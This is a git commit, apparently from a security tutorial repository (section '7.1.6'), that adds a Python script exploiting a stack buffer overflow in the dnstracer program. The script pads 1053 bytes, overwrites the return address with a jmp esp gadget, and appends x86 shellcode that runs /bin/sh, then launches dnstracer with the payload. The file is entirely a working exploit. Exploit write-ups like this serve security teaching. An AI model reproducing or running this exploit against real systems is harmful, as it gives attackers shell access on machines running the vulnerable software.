finish 7.1.6

This commit is contained in:
firmianay
2018-02-13 14:48:21 +08:00
parent 3c0579805b
commit 25372d8161
2 changed files with 189 additions and 55 deletions

View File

@ -0,0 +1,16 @@
import os
from subprocess import call
def exp():
filling = "A"*1053
jmp_esp = "\x5f\xcc\x04\x08"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = filling + jmp_esp + shellcode
call(["dnstracer", payload])
if __name__ == '__main__':
try:
exp()
except Exception as e:
print "Something went wrong"